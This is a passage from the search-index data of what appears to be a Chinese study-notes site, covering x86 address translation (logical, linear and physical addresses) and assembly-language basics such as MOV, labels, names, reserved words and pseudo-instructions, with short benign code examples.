\u903b\u8f91\u5730\u5740\u662f\u5728\u7a0b\u5e8f\u4ee3\u7801\u4e2d\u4f7f\u7528\u7684\uff0c\u6bd4\u5982\u6307\u9488\u6216\u6570\u7ec4\u7d22\u5f15\u3002\u5b83\u4eec\u662f\u7531\u7f16\u8bd1\u5668\u751f\u6210\u7684\uff0c\u5e76\u4e14\u4e0d\u4f1a\u76f4\u63a5\u5bf9\u5e94\u5230\u7269\u7406\u5185\u5b58\u7684\u5177\u4f53\u4f4d\u7f6e\u3002</li> </ul> <p>\u7ebf\u6027\u5730\u5740\uff08Linear Address\uff09</p> <ul> <li>\u5b9a\u4e49: \u7ebf\u6027\u5730\u5740\u662f\u5c06\u903b\u8f91\u5730\u5740\u8f6c\u6362\u6210\u7269\u7406\u5730\u5740\u4e4b\u524d\u7684\u4e00\u4e2a\u4e2d\u95f4\u5730\u5740\u3002\u5b83\u662f\u7ecf\u8fc7\u5206\u6bb5\uff08segmentation\uff09\u8ba1\u7b97\u540e\u7684\u5730\u5740\u3002</li> <li>\u7279\u70b9: \u7ebf\u6027\u5730\u5740\u662f\u901a\u8fc7\u628a\u903b\u8f91\u5730\u5740\u548c\u6bb5\u5bc4\u5b58\u5668\uff08\u5982CS\u3001DS\u7b49\uff09\u4e2d\u7684\u6bb5\u57fa\u5740\u76f8\u52a0\u5f97\u5230\u7684\u3002  </li> <li>\u4f7f\u7528: \u5728\u6709\u4e9b\u4f53\u7cfb\u7ed3\u6784\u4e2d\uff0c\u7ebf\u6027\u5730\u5740\u53ef\u80fd\u76f4\u63a5\u7b49\u4e8e\u7269\u7406\u5730\u5740\uff08\u5982\u65e0\u5206\u9875\u673a\u5236\u7684\u60c5\u51b5\u4e0b\uff09\uff0c\u4f46\u662f\u5728\u5927\u591a\u6570\u73b0\u4ee3\u5904\u7406\u5668\u4e2d\uff0c\u7ebf\u6027\u5730\u5740\u901a\u8fc7\u5206\u9875\u673a\u5236\u8fdb\u4e00\u6b65\u8f6c\u6362\u4e3a\u7269\u7406\u5730\u5740\u3002</li> </ul> <p>\u7269\u7406\u5730\u5740\uff08Physical Address\uff09</p> <ul> <li>\u5b9a\u4e49: \u7269\u7406\u5730\u5740\u662f\u5185\u5b58\u5355\u5143\u5728\u8ba1\u7b97\u673a\u5b9e\u9645\u7269\u7406\u5185\u5b58\uff08RAM\uff09\u4e2d\u7684\u4f4d\u7f6e\u3002\u5b83\u662fCPU\u6700\u7ec8\u4f7f\u7528\u7684\u5b9e\u9645\u5730\u5740\u3002</li> <li>\u7279\u70b9: \u7269\u7406\u5730\u5740\u7531\u7ebf\u6027\u5730\u5740\u7ecf\u8fc7\u5206\u9875\uff08paging\uff09\u673a\u5236\u8f6c\u6362\u800c\u6765\uff0c\u662f\u6307\u5411\u5b9e\u9645\u5185\u5b58\u82af\u7247\u7684\u5730\u5740\u3002</li> <li> <p>\u4f7f\u7528: \u7269\u7406\u5730\u5740\u662f\u7531\u5185\u5b58\u63a7\u5236\u5668\u4f7f\u7528\u7684\uff0c\u7528\u4e8e\u8bbf\u95ee\u5b9e\u9645\u7684\u7269\u7406\u5185\u5b58\u4f4d\u7f6e\u3002</p> </li> <li> <p>\u903b\u8f91\u5730\u5740\u5230\u7ebf\u6027\u5730\u5740\u7684\u8f6c\u6362\uff08\u5206\u6bb5\uff09:</p> </li> <li> <p>\u903b\u8f91\u5730\u5740\u7531\u7a0b\u5e8f\u751f\u6210\uff0c\u5206\u4e3a\u6bb5\u9009\u62e9\u5668\u548c\u6bb5\u5185\u504f\u79fb\u91cf\u3002\u6bb5\u9009\u62e9\u5668\u6307\u5411\u5185\u5b58\u6bb5\u63cf\u8ff0\u7b26\uff08\u5b58\u50a8\u5728\u6bb5\u5bc4\u5b58\u5668\u4e2d\uff09\uff0c\u800c\u504f\u79fb\u91cf\u6307\u5411\u6bb5\u5185\u7684\u5177\u4f53\u4f4d\u7f6e\u3002</p> </li> <li>MMU\u4f7f\u7528\u6bb5\u9009\u62e9\u5668\u67e5\u627e\u6bb5\u57fa\u5740\uff0c\u7136\u540e\u5c06\u6bb5\u57fa\u5740\u4e0e\u504f\u79fb\u91cf\u76f8\u52a0\uff0c\u751f\u6210\u7ebf\u6027\u5730\u5740\u3002</li> <li>\u516c\u5f0f:  </li> </ul> <p>$$    \\text{\u7ebf\u6027\u5730\u5740} = \\text{\u6bb5\u57fa\u5740} + \\text{\u903b\u8f91\u5730\u5740\u4e2d\u7684\u504f\u79fb\u91cf}    $$</p> <ol> <li> <p>\u7ebf\u6027\u5730\u5740\u5230\u7269\u7406\u5730\u5740\u7684\u8f6c\u6362\uff08\u5206\u9875\uff09:</p> </li> <li> <p>\u7ebf\u6027\u5730\u5740\u8fdb\u4e00\u6b65\u901a\u8fc7\u5206\u9875\u673a\u5236\u8f6c\u6362\u4e3a\u7269\u7406\u5730\u5740\u3002\u5206\u9875\u673a\u5236\u5c06\u7ebf\u6027\u5730\u5740\u5212\u5206\u4e3a\u591a\u4e2a\u56fa\u5b9a\u5927\u5c0f\u7684\u9875\u9762\uff0c\u7ebf\u6027\u5730\u5740\u4e2d\u7684\u9875\u53f7\u90e8\u5206\u7528\u4e8e\u67e5\u627e\u9875\u8868\uff08Page Table\uff09\uff0c\u5f97\u5230\u7269\u7406\u9875\u5e27\u53f7\u3002</p> </li> <li>\u7ebf\u6027\u5730\u5740\u7684\u9875\u5185\u504f\u79fb\u91cf\u90e8\u5206\u4e0e\u7269\u7406\u9875\u5e27\u53f7\u7ec4\u5408\u5f62\u6210\u7269\u7406\u5730\u5740\u3002</li> <li>\u516c\u5f0f:</li> </ol> <p>$$    \\text{\u7269\u7406\u5730\u5740} = \\text{\u7269\u7406\u9875\u5e27\u53f7} + \\text{\u9875\u5185\u504f\u79fb\u91cf}$$</p> <ul> <li>\u903b\u8f91\u5730\u5740 \u662f\u7a0b\u5e8f\u5458\u6216\u7f16\u8bd1\u5668\u4f7f\u7528\u7684\u5730\u5740\uff0c\u63cf\u8ff0\u7684\u662f\u865a\u62df\u5185\u5b58\u4e2d\u7684\u4f4d\u7f6e\u3002</li> <li>\u7ebf\u6027\u5730\u5740 \u662f\u7ecf\u8fc7\u5206\u6bb5\u673a\u5236\u8f6c\u6362\u540e\u7684\u5730\u5740\uff0c\u662f\u903b\u8f91\u5730\u5740\u4e0e\u6bb5\u57fa\u5740\u4e4b\u548c\u3002</li> <li>\u7269\u7406\u5730\u5740 \u662f\u5b58\u50a8\u5668\u4e2d\u5b9e\u9645\u8bbf\u95ee\u7684\u4f4d\u7f6e\uff0c\u7531\u7ebf\u6027\u5730\u5740\u7ecf\u8fc7\u5206\u9875\u673a\u5236\u8f6c\u6362\u5f97\u5230\u3002</li> </ul>"},{"location":"NOTE/CS/ASM/wk1_2/","title":"\u6c47\u7f16\u7a0b\u5e8f\u683c\u5f0f","text":"<p> \u7ea6 3089 \u4e2a\u5b57  83 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 12 \u5206\u949f</p>"},{"location":"NOTE/CS/ASM/wk1_2/#_2","title":"\u5904\u7406\u5668\u6307\u4ee4\u683c\u5f0f","text":"<p>\u7a0b\u5e8f\u7531\u7a0b\u5e8f\u8bbe\u8ba1\u8bed\u8a00\u7f16\u5199\uff0c\u7531 \u6307\u4ee4 \u6784\u6210\uff0c\u6307\u4ee4 \u7531 \u64cd\u4f5c\u7801 \u548c \u64cd\u4f5c\u6570\uff08\u5730\u5740\u7801\uff09 \u6784\u6210\uff0c\u64cd\u4f5c\u7801\uff08Opcode\uff09 \u8868\u660e\u5904\u7406\u5668\u6267\u884c\u7684\u64cd\u4f5c\uff0c \u64cd\u4f5c\u6570\uff08Oprand\uff09 \u662f\u53c2\u4e0e\u64cd\u4f5c\u7684\u6570\u636e\u5bf9\u8c61</p> <p>\u6700\u57fa\u672c\u7684\u6570\u636e\u4f20\u9001\u6307\u4ee4--MOV(move)</p> <p>\u4f20\u9001\u6307\u4ee4\u7684\u52a9\u8bb0\u7b26\uff1a<code>MOV</code></p> <p>\u7c7b\u4f3c\u4e8e\u9ad8\u7ea7\u8bed\u8a00\u7684\u8d4b\u503c\u8bed\u53e5\uff0c\u5c06\u6570\u636e\u4ece\u4e00\u4e2a\u4f4d\u7f6e \u4f20\u9001 \u5230\u53e6\u4e00\u4e2a\u4f4d\u7f6e</p> <p>\u4f8b\u5982</p> <pre><code>mov dest,src  ;\u64cd\u4f5c\u7801\u4e3amov\uff0c\u64cd\u4f5c\u6570\u4e3adest src\n</code></pre> <p><code>src</code>\u4e3a\u6e90\u64cd\u4f5c\u6570\uff0c\u662f\u88ab\u4f20\u9001\u7684\u6570\u636e\u6216\u8005\u6570\u636e\u6240\u5728\u7684\u4f4d\u7f6e</p> <p><code>dest</code>\u4e3a\u76ee\u7684\u64cd\u4f5c\u6570\uff0c\u662f\u6570\u636e\u5c06\u8981\u4f20\u9001\u5230\u7684\u4f4d\u7f6e</p> <p>IA-32 \u5904\u7406\u5668\u91c7\u7528\u53ef\u53d8\u957f\u5ea6\u6307\u4ee4\u683c\u5f0f</p> <ul> <li> <p>\u64cd\u4f5c\u7801</p> <ul> <li>\u53ef\u9009\u7684\u6307\u4ee4\u524d\u7f00\uff08\u7528\u4e8e\u6269\u5c55\u6307\u4ee4\u529f\u80fd\uff0c\u4e00\u822c0\u81f34\u5b57\u8282</li> <li>1\u81f33\u5b57\u8282\u7684\u4e3b\u8981\u64cd\u4f5c\u7801</li> </ul> </li> <li> <p>\u64cd\u4f5c\u6570</p> <ul> <li>\u53ef\u9009\u7684\u5bfb\u5740\u65b9\u5f0f\u57df</li> <li>\u53ef\u9009\u7684\u4f4d\u79fb\u91cf</li> <li>\u53ef\u9009\u7684\u7acb\u5373\u6570</li> </ul> </li> </ul> Example <p></p> <p></p>"},{"location":"NOTE/CS/ASM/wk1_2/#_3","title":"\u6c47\u7f16\u8bed\u8a00\u8bed\u53e5\u683c\u5f0f","text":"<p>\u6e90\u7a0b\u5e8f\u7531\u8bed\u53e5\u7ec4\u6210\uff0c\u901a\u5e38\u4e00\u4e2a\u8bed\u53e5\u5360\u4e00\u884c\uff0c\u4e00\u4e2a\u8bed\u53e5\u4e0d\u8d85\u8fc7132\u4e2a\u5b57\u7b26\uff0c4\u4e2a\u90e8\u5206</p> <p>\u8bed\u53e5\u7684\u79cd\u7c7b</p> <p>\u6267\u884c\u6027\u8bed\u53e5 \uff1a\u8868\u8fbe\u5904\u7406\u5668\u6307\u4ee4\uff0c\u5b9e\u73b0\u529f\u80fd\uff0c\u683c\u5f0f\u4e3a</p> <p><code>\u6807\u53f7: \u786c\u6307\u4ee4\u52a9\u8bb0\u7b26 \u64cd\u4f5c\u6570,\u64cd\u4f5c\u6570 ;\u6ce8\u91ca</code></p> <p>\u8bf4\u660e\u6027\u8bed\u53e5 : \u8868\u8fbe\u4f2a\u6307\u4ee4\uff0c\u63a7\u5236\u6c47\u7f16\u65b9\u5f0f \u683c\u5f0f\u4e3a</p> <p><code>\u540d\u5b57 \u4f2a\u6307\u4ee4\u52a9\u8bb0\u7b26 \u53c2\u6570,\u53c2\u6570,... ;\u6ce8\u91ca</code></p> <p>\u5728\u6c47\u7f16\u8bed\u8a00\u4e2d\uff0c\u6807\u53f7\uff08Label\uff09\u548c \u540d\u5b57\uff08Name\uff09\u90fd\u662f\u7528\u4e8e\u6807\u8bc6\u7279\u5b9a\u5185\u5b58\u4f4d\u7f6e\u3001\u4ee3\u7801\u6bb5\u6216\u6570\u636e\u7684\u7b26\u53f7\u3002</p>"},{"location":"NOTE/CS/ASM/wk1_2/#1-label","title":"1. \u6807\u53f7\uff08Label\uff09","text":"<p>\u6807\u53f7 \u901a\u5e38\u7528\u4e8e\u6807\u8bb0\u4ee3\u7801\u4e2d\u7684\u7279\u5b9a\u4f4d\u7f6e\uff0c\u901a\u5e38\u662f\u5904\u7406\u5668\u6307\u4ee4\u7684\u903b\u8f91\u5730\u5740\u3002\u6307\u793a\u5206\u652f\uff0c\u5faa\u73af\u7b49\u7a0b\u5e8f\u7684\u76ee\u7684\u5730\u5740\u3002\u6807\u53f7\u5728\u6c47\u7f16\u7a0b\u5e8f\u4e2d\u6709\u4e24\u4e2a\u4e3b\u8981\u7528\u9014\uff1a</p> <ul> <li> <p>\u8df3\u8f6c\u76ee\u6807 \uff1a\u6807\u53f7\u5e38\u7528\u4e8e\u63a7\u5236\u7a0b\u5e8f\u7684\u6d41\uff0c\u4f8b\u5982\u6761\u4ef6\u8df3\u8f6c\uff08<code>JMP</code>\u3001<code>JE</code>\u3001<code>JNE</code>\u7b49\uff09\u6216\u5faa\u73af\u7ed3\u6784\u4e2d\uff0c\u6807\u53f7\u8868\u793a\u76ee\u6807\u5730\u5740\uff0c\u6307\u660e\u7a0b\u5e8f\u5e94\u8df3\u8f6c\u5230\u7684\u7279\u5b9a\u4f4d\u7f6e\u3002</p> </li> <li> <p>\u51fd\u6570\u6216\u8fc7\u7a0b\u7684\u5165\u53e3 \uff1a\u6807\u53f7\u4e5f\u5e38\u7528\u4e8e\u6807\u8bb0\u4e00\u4e2a\u51fd\u6570\u6216\u8fc7\u7a0b\u7684\u8d77\u59cb\u5730\u5740\uff0c\u4ee5\u4fbf\u7a0b\u5e8f\u80fd\u591f\u6b63\u786e\u8c03\u7528\u3002</p> </li> </ul> <p>Example</p> <p>\u8bed\u6cd5 \uff1a</p> <pre><code>label_name:\n    ; \u4e00\u4e9b\u6307\u4ee4\n</code></pre> <p>\u4f8b\u5982\uff1a</p> <pre><code>start:              ; \u8fd9\u662f\u4e00\u4e2a\u6807\u53f7\n    mov eax, 1\n    jmp start       ; \u8df3\u8f6c\u5230\u6807\u53f7 'start'\n</code></pre>"},{"location":"NOTE/CS/ASM/wk1_2/#2-name","title":"2. \u540d\u5b57\uff08Name\uff09","text":"<p>\u540d\u5b57 \u901a\u5e38\u7528\u4e8e\u6570\u636e\u6bb5\u4e2d\uff0c\u8868\u793a\u53d8\u91cf\u3001\u5e38\u91cf\u6216\u5176\u4ed6\u6570\u636e\u5143\u7d20\u7684\u540d\u79f0\u3002\u540d\u5b57\u4fbf\u4e8e\u7a0b\u5e8f\u5458\u5728\u7f16\u5199\u4ee3\u7801\u65f6\u8bc6\u522b\u548c\u5f15\u7528\u8fd9\u4e9b\u6570\u636e\u3002</p> <ul> <li>\u6570\u636e\u5b9a\u4e49 \uff1a\u540d\u5b57\u7528\u4e8e\u5728\u6570\u636e\u6bb5\u4e2d\u5b9a\u4e49\u548c\u6807\u8bc6\u6570\u636e\u9879\u3002</li> <li>\u6307\u9488\u6216\u504f\u79fb\u91cf \uff1a\u540d\u5b57\u53ef\u7528\u6765\u8868\u793a\u7279\u5b9a\u6570\u636e\u9879\u5728\u5185\u5b58\u4e2d\u7684\u4f4d\u7f6e\u6216\u504f\u79fb\u91cf\uff0c\u4ee5\u4fbf\u5728\u7a0b\u5e8f\u4e2d\u5f15\u7528\u3002</li> </ul> <p>Example</p> <p>\u8bed\u6cd5\uff1a</p> <pre><code>name db 0x10       ; \u5b9a\u4e49\u4e00\u4e2a\u5b57\u8282\u5927\u5c0f\u7684\u53d8\u91cf 'name' \u5e76\u521d\u59cb\u5316\u4e3a 0x10\n</code></pre> <p>\u4f8b\u5982\uff1a <pre><code>msg db 'Hello, World!', 0    ; 'msg' \u662f\u4e00\u4e2a\u540d\u5b57\uff0c\u8868\u793a\u4e00\u4e2a\u5b57\u7b26\u4e32\u7684\u8d77\u59cb\u5730\u5740\n</code></pre></p> <ul> <li>\u6807\u53f7 \u7528\u4e8e\u6807\u8bc6\u4ee3\u7801\u4f4d\u7f6e\uff08\u5982\u8df3\u8f6c\u76ee\u6807\uff09\u3002</li> <li>\u540d\u5b57 \u7528\u4e8e\u6807\u8bc6\u6570\u636e\uff08\u5982\u53d8\u91cf\u3001\u5e38\u91cf\uff09\u3002</li> </ul>"},{"location":"NOTE/CS/ASM/wk1_2/#_4","title":"\u6807\u8bc6\u7b26","text":"<p>\u6807\u53f7\u548c\u540d\u5b57\u90fd\u5c5e\u4e8e\u6807\u8bc6\u7b26\uff0c\u6807\u8bc6\u7b26\u7531\u7a0b\u5e8f\u5458\u81ea\u5df1\u5b9a\u4e49\uff0c\u8ddf\u9ad8\u7ea7\u8bed\u8a00\u4e2d\u7684\u53d8\u91cf\u5b9a\u4e49\u7c7b\u4f3c\uff0c\u4e0d\u80fd\u4ee5\u6570\u5b57\u5f00\u5934\uff0c\u4e00\u4e2a\u6e90\u7a0b\u5e8f\u4e2d\uff0c\u7528\u6237\u5b9a\u4e49\u7684\u6bcf\u4e2a\u6807\u8bc6\u7b26\u5fc5\u987b\u552f\u4e00\uff0c\u4e5f\u4e0d\u80fd\u662f\u4fdd\u7559\u5b57\uff08reserve word\uff09</p> \u4fdd\u7559\u5b57 <p>\u4fdd\u7559\u5b57\uff08Reserved Word\uff09\u662f\u6c47\u7f16\u8bed\u8a00\uff08\u4ee5\u53ca\u5927\u591a\u6570\u7f16\u7a0b\u8bed\u8a00\uff09\u4e2d\u5177\u6709\u7279\u6b8a\u610f\u4e49\u7684\u5355\u8bcd\u3002\u8fd9\u4e9b\u5355\u8bcd\u88ab\u7f16\u8bd1\u5668\u6216\u6c47\u7f16\u5668\u9884\u5148\u5b9a\u4e49\u548c\u4fdd\u7559\uff0c\u4e0d\u80fd\u7528\u4f5c\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u6807\u8bc6\u7b26\uff08\u5982\u53d8\u91cf\u540d\u3001\u6807\u53f7\u6216\u51fd\u6570\u540d\uff09\uff0c\u56e0\u4e3a\u5b83\u4eec\u5df2\u7ecf\u7528\u4e8e\u7279\u5b9a\u7684\u8bed\u6cd5\u7ed3\u6784\u6216\u64cd\u4f5c</p> <p>\u5728\u6c47\u7f16\u8bed\u8a00\u4e2d\uff0c\u5e38\u89c1\u7684\u4fdd\u7559\u5b57\u6709\u4ee5\u4e0b\u51e0\u79cd\u7c7b\u578b\uff1a</p> <p>\u6307\u4ee4\u64cd\u4f5c\u7801\uff1a\u7528\u4e8e\u8868\u793a\u5177\u4f53\u7684\u5904\u7406\u5668\u6307\u4ee4\uff0c\u5982\uff1a</p> <p><code>MOV</code>\u3001<code>ADD</code>\u3001<code>SUB</code>\u3001<code>MUL</code>\u3001<code>DIV</code>\u3001<code>JMP</code>\u3001<code>CMP</code>\u3001<code>CALL</code>\u3001<code>RET</code> \u7b49\u3002</p> <p>\u4f2a\u6307\u4ee4\uff08\u6c47\u7f16\u6307\u4ee4\uff09\uff1a\u7528\u4e8e\u6307\u793a\u6c47\u7f16\u5668\u5728\u6c47\u7f16\u8fc7\u7a0b\u4e2d\u6267\u884c\u7684\u64cd\u4f5c\uff0c\u4e0d\u76f4\u63a5\u751f\u6210\u673a\u5668\u6307\u4ee4\uff0c\u5982\uff1a</p> <p><code>DB\uff08Define Byte\uff09</code>\u3001<code>DW\uff08Define Word\uff09</code>\u3001<code>DD\uff08Define Double Word\uff09</code>\u3001<code>ORG\uff08Origin\uff09</code>\u3001<code>END\uff08End of Program\uff09</code>\u3001<code>EQU\uff08Equate\uff09</code>\u7b49\u3002</p> <p>\u5bc4\u5b58\u5668\u540d\uff1a\u7528\u4e8e\u8868\u793a\u5904\u7406\u5668\u5185\u90e8\u7684\u5bc4\u5b58\u5668\uff0c\u5982\uff1a</p> <p>EAX\u3001EBX\u3001ECX\u3001EDX\uff08\u901a\u7528\u5bc4\u5b58\u5668\uff09\u3001CS\u3001DS\u3001SS\u3001ES\uff08\u6bb5\u5bc4\u5b58\u5668\uff09\u7b49\u3002</p> <p>\u6570\u636e\u7c7b\u578b\uff1a\u7528\u4e8e\u8868\u793a\u6570\u636e\u7684\u7c7b\u578b\u6216\u5927\u5c0f\uff0c\u5982\uff1a</p> <p><code>BYTE</code>\u3001<code>WORD</code>\u3001<code>DWORD</code>\u3001<code>QWORD</code>\u3001<code>TBYTE</code> \u7b49\u3002</p> <p>\u6761\u4ef6\u7801\u548c\u63a7\u5236\u7ed3\u6784\uff1a\u7528\u4e8e\u7a0b\u5e8f\u6d41\u7a0b\u63a7\u5236\uff0c\u5982\uff1a</p> <p><code>IF</code>\u3001<code>ELSE</code>\u3001<code>ENDIF</code>\u3001<code>LOOP</code>\u3001<code>WHILE</code>\u3001<code>BREAK</code> \u7b49\u3002</p>"},{"location":"NOTE/CS/ASM/wk1_2/#_5","title":"\u52a9\u8bb0\u7b26","text":"<p>\u52a9\u8bb0\u7b26\u662f\u5e2e\u52a9\u8bb0\u5fc6\u6307\u4ee4\u529f\u80fd\u7684\u7b26\u53f7\uff0c\u4e3b\u8981\u5206\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26\u548c\u8f6f\u6307\u4ee4\u52a9\u8bb0\u7b26</p> <p>\u5728\u6c47\u7f16\u8bed\u8a00\u4e2d\uff0c\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26\uff08\u4e5f\u79f0\u4e3a \u673a\u5668\u6307\u4ee4\u52a9\u8bb0\u7b26 \uff09\u548c \u8f6f\u6307\u4ee4\u52a9\u8bb0\u7b26 \uff08\u4e5f\u79f0\u4e3a \u4f2a\u6307\u4ee4\u52a9\u8bb0\u7b26 \uff09\u662f\u4e24\u79cd\u4e0d\u540c\u7c7b\u578b\u7684\u6307\u4ee4\uff0c\u5b83\u4eec\u7528\u4e8e\u4e0d\u540c\u7684\u76ee\u7684\u3002</p>"},{"location":"NOTE/CS/ASM/wk1_2/#_6","title":"\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26\uff08\u673a\u5668\u6307\u4ee4\u52a9\u8bb0\u7b26\uff09","text":"<p>\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26 \uff08Machine Instruction Mnemonics\uff09\u662f\u76f4\u63a5\u5bf9\u5e94\u4e8e\u5904\u7406\u5668\u652f\u6301\u7684\u673a\u5668\u8bed\u8a00\u6307\u4ee4\u7684\u6c47\u7f16\u8bed\u8a00\u7b26\u53f7\u3002\u6bcf\u4e00\u4e2a\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26\u8868\u793a\u4e00\u6761\u7531\u5904\u7406\u5668\u786c\u4ef6\u76f4\u63a5\u6267\u884c\u7684\u5177\u4f53\u64cd\u4f5c\u3002\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26\u662f\u6c47\u7f16\u8bed\u8a00\u7684\u6838\u5fc3\u90e8\u5206\uff0c\u5b83\u4eec\u88ab\u7ffb\u8bd1\u6210\u673a\u5668\u7801\uff0c\u76f4\u63a5\u7531\u8ba1\u7b97\u673a\u7684 CPU \u6267\u884c\u3002</p> <p>\u7279\u70b9</p> <ul> <li>\u76f4\u63a5\u6620\u5c04\u5230\u673a\u5668\u4ee3\u7801\uff1a\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26\u662f\u6c47\u7f16\u7a0b\u5e8f\u4e2d\u6700\u63a5\u8fd1\u786c\u4ef6\u7684\u90e8\u5206\uff0c\u76f4\u63a5\u5bf9\u5e94\u4e8e CPU \u6307\u4ee4\u96c6\u3002</li> <li>\u88ab\u5904\u7406\u5668\u76f4\u63a5\u6267\u884c\uff1a\u8fd9\u4e9b\u6307\u4ee4\u662f\u786c\u4ef6\u652f\u6301\u7684\uff0c\u53ef\u4ee5\u88ab CPU \u76f4\u63a5\u6267\u884c\u3002</li> <li>\u6267\u884c\u7279\u5b9a\u7684\u64cd\u4f5c\uff1a\u5982\u6570\u636e\u4f20\u9001\u3001\u7b97\u672f\u64cd\u4f5c\u3001\u903b\u8f91\u64cd\u4f5c\u3001\u8df3\u8f6c\u3001\u51fd\u6570\u8c03\u7528\u7b49\u3002</li> </ul> <p>\u5e38\u89c1\u7684\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26</p> <ul> <li>\u6570\u636e\u4f20\u9001\u6307\u4ee4\uff1a<code>MOV</code>\u3001<code>PUSH</code>\u3001<code>POP</code> \u7b49\u3002</li> <li>\u7b97\u672f\u6307\u4ee4\uff1a<code>ADD</code>\u3001<code>SUB</code>\u3001<code>MUL</code>\u3001<code>DIV</code> \u7b49\u3002</li> <li>\u903b\u8f91\u6307\u4ee4\uff1a<code>AND</code>\u3001<code>OR</code>\u3001<code>XOR</code>\u3001<code>NOT</code> \u7b49\u3002</li> <li>\u63a7\u5236\u6d41\u6307\u4ee4\uff1a<code>JMP</code>\u3001<code>JE</code>\u3001<code>JNE</code>\u3001<code>CALL</code>\u3001<code>RET</code> \u7b49\u3002</li> </ul> <p>Example</p> <pre><code>MOV AX, BX    ; \u6570\u636e\u4f20\u9001\u6307\u4ee4\uff0c\u5c06 BX \u7684\u503c\u4f20\u9001\u5230 AX\nADD AX, 5     ; \u7b97\u672f\u6307\u4ee4\uff0c\u5c06 5 \u52a0\u5230 AX \u4e2d\nJMP start     ; \u63a7\u5236\u6d41\u6307\u4ee4\uff0c\u8df3\u8f6c\u5230\u6807\u53f7 start\n</code></pre>"},{"location":"NOTE/CS/ASM/wk1_2/#_7","title":"\u8f6f\u6307\u4ee4\u52a9\u8bb0\u7b26\uff08\u4f2a\u6307\u4ee4\u52a9\u8bb0\u7b26\uff09","text":"<p>\u8f6f\u6307\u4ee4\u52a9\u8bb0\u7b26 \uff08Pseudo-Instruction Mnemonics\uff09\u6216 \u4f2a\u6307\u4ee4\uff08Pseudo-Instructions\uff09\u5e76\u4e0d\u662f\u5904\u7406\u5668\u7684\u771f\u5b9e\u6307\u4ee4\u3002\u5b83\u4eec\u662f\u6c47\u7f16\u5668\u7406\u89e3\u548c\u6267\u884c\u7684\u7279\u6b8a\u6307\u4ee4\uff0c\u7528\u6765\u8f85\u52a9\u7a0b\u5e8f\u5f00\u53d1\u548c\u7f16\u8bd1\u8fc7\u7a0b\uff0c\u5982\u5b9a\u4e49\u6570\u636e\u3001\u5206\u914d\u5b58\u50a8\u3001\u8bbe\u7f6e\u7a0b\u5e8f\u4f4d\u7f6e\u7b49\u3002\u8fd9\u4e9b\u6307\u4ee4\u5728\u6c47\u7f16\u8fc7\u7a0b\u4e2d\u6267\u884c\uff0c\u4e0d\u4f1a\u88ab\u7ffb\u8bd1\u6210\u673a\u5668\u4ee3\u7801\u3002</p> <p>\u7279\u70b9</p> <ul> <li>\u4e0d\u5bf9\u5e94\u673a\u5668\u4ee3\u7801 \uff1a\u8f6f\u6307\u4ee4\u52a9\u8bb0\u7b26\u662f\u6c47\u7f16\u5668\u5728\u6c47\u7f16\u65f6\u4f7f\u7528\u7684\u6307\u4ee4\uff0c\u4e0d\u4f1a\u88ab\u8f6c\u6362\u4e3a\u76f4\u63a5\u7684\u673a\u5668\u6307\u4ee4\u3002</li> <li>\u7528\u4e8e\u7f16\u8bd1\u63a7\u5236 \uff1a\u8fd9\u4e9b\u6307\u4ee4\u5e2e\u52a9\u63a7\u5236\u6c47\u7f16\u8fc7\u7a0b\uff0c\u6bd4\u5982\u5b9a\u4e49\u5e38\u91cf\u3001\u53d8\u91cf\u3001\u5185\u5b58\u5e03\u5c40\u7b49\u3002</li> <li>\u7528\u4e8e\u7ed3\u6784\u5316\u7f16\u7a0b \uff1a\u5b9a\u4e49\u5b8f\u3001\u8bbe\u7f6e\u6761\u4ef6\u7f16\u8bd1\u7b49\u3002</li> </ul> <p>\u5e38\u89c1\u7684\u8f6f\u6307\u4ee4\u52a9\u8bb0\u7b26</p> <ul> <li>\u6570\u636e\u5b9a\u4e49\u6307\u4ee4\uff1a<code>DB</code>\uff08Define Byte\uff09\u3001<code>DW</code>\uff08Define Word\uff09\u3001<code>DD</code>\uff08Define Double Word\uff09\u7b49\u3002</li> <li>\u7f16\u8bd1\u63a7\u5236\u6307\u4ee4\uff1a<code>ORG</code>\uff08Origin\uff0c\u8bbe\u7f6e\u4ee3\u7801\u7684\u8d77\u59cb\u5730\u5740\uff09\u3001<code>END</code>\uff08\u7ed3\u675f\u7a0b\u5e8f\uff09\u7b49\u3002</li> <li>\u5b8f\u5b9a\u4e49\u548c\u4f7f\u7528\u6307\u4ee4\uff1a<code>MACRO</code>\u3001<code>ENDM</code> \u7b49\u3002</li> <li>\u6761\u4ef6\u7f16\u8bd1\u6307\u4ee4\uff1a<code>IF</code>\u3001<code>ELSE</code>\u3001<code>ENDIF</code> \u7b49\u3002</li> </ul> <p>Example</p> <pre><code>DATA_SEG SEGMENT          ; \u5b9a\u4e49\u4e00\u4e2a\u6570\u636e\u6bb5\nnum1 DB 10                ; \u8f6f\u6307\u4ee4\uff0c\u5b9a\u4e49\u4e00\u4e2a\u5b57\u8282\u53d8\u91cf 'num1' \u5e76\u521d\u59cb\u5316\u4e3a 10\nDATA_SEG ENDS             ; \u7ed3\u675f\u6570\u636e\u6bb5\n\nORG 100h                  ; \u8f6f\u6307\u4ee4\uff0c\u8bbe\u7f6e\u4ee3\u7801\u7684\u8d77\u59cb\u5730\u5740\u4e3a 100h\n</code></pre> <p>\u64cd\u4f5c\u6570\u548c\u53c2\u6570</p> <p>\u64cd\u4f5c\u6570 \uff1a\u8868\u793a\u53c2\u4e0e\u64cd\u4f5c\u7684\u5bf9\u8c61\uff0c\u8ddf\u5728\u5904\u7406\u5668\u6307\u4ee4\u540e\u9762</p> <p>\u53c2\u6570   \uff1a\u4f2a\u6307\u4ee4\u7684\u53c2\u6570\uff0c\u53ef\u4ee5\u6709\u591a\u4e2a\uff0c\u53c2\u6570\u4e4b\u95f4\u7528\u9017\u53f7\u5206\u9694</p>"},{"location":"NOTE/CS/ASM/wk1_2/#_8","title":"\u6c47\u7f16\u7a0b\u5e8f\u57fa\u672c\u6846\u67b6","text":"<p>\u9700\u8981\u6ce8\u610f\u7684\u5730\u65b9</p> 